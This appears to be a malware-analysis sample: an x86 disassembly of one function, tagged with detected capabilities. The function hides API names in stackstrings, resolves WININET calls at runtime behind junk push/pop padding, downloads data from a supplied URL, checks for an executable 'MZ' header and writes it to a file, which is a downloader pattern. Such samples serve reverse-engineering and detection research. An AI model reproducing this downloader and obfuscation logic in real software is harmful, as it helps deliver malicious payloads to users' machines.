Function at 0x100126a0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push ebx
push esi
lea eax, [ebp - 0x20]
push edi
lea ecx, [ebp - 0x30]
mov bl, 0x65
push eax
push ecx
mov byte [ebp - 0x30], 0x6b
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2c], bl
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x33
mov byte [ebp - 0x29], 0x32
mov byte [ebp - 0x28], 0x2e
mov byte [ebp - 0x27], 0x64
mov byte [ebp - 0x26], 0x6c
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], 0x46
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x41
mov byte [ebp - 0x15], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x40], 0x6b
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0x72
mov byte [ebp - 0x3d], 0x6e
mov byte [ebp - 0x3c], bl
mov byte [ebp - 0x3b], 0x6c
mov byte [ebp - 0x3a], 0x33
mov byte [ebp - 0x39], 0x32
mov byte [ebp - 0x38], 0x2e
mov byte [ebp - 0x37], 0x64
mov byte [ebp - 0x36], 0x6c
mov byte [ebp - 0x35], 0x6c
mov byte [ebp - 0x34], 0
mov byte [ebp - 0x14], 0x57
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], 0
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x40]
push edx
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x5c], eax
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov eax, 1
push str.WININET.dll
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
call esi
mov dword [ebp - 0x44], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
push str.InternetOpenA
mov edi, dword [ebp - 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call esi
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call eax
test eax, eax
mov dword [ebp - 0x54], eax
jne 0x10012838
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.InternetOpenUrlA
push edi
call esi
mov dword [ebp - 0x48], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x54]
push 0
push bind
push 0
push 0
push ecx
push edx
call dword [ebp - 0x48]
test eax, eax
mov dword [ebp + 8], eax
jne 0x10012885
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov eax, dword [ebp - 0x44]
push str.InternetReadFile
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x48], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ecx, dword [ebp + 0xc]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [ebp - 0x58]
mov dword [ebp + 0xc], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov esi, dword [ebp + 0xc]
cmp esi, 0xffffffff
je 0x10012971
mov ebx, 0x5a4d
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x45c]
lea edx, [ebp - 4]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x45c]
push 0x400
push eax
push ecx
call dword [ebp - 0x48]
mov eax, dword [ebp - 0x50]
xor edi, edi
cmp eax, edi
je 0x10012949
cmp word [ebp - 0x45c], bx
jne 0x10012967
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edi
push edx
lea ecx, [ebp - 0x45c]
push eax
push ecx
push esi
mov dword [ebp - 0x50], edi
call dword [ebp - 0x5c]
cmp dword [ebp - 4], edi
jbe 0x1001296a
jmp 0x10012911
mov dword [ebp - 0x4c], edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov edx, dword [ebp - 0x44]
push str.InternetCloseHandle
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0xc], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push eax
call esi
mov ecx, dword [ebp - 0x54]
push ecx
call esi
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ecx, dword [ebp - 0x4c]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret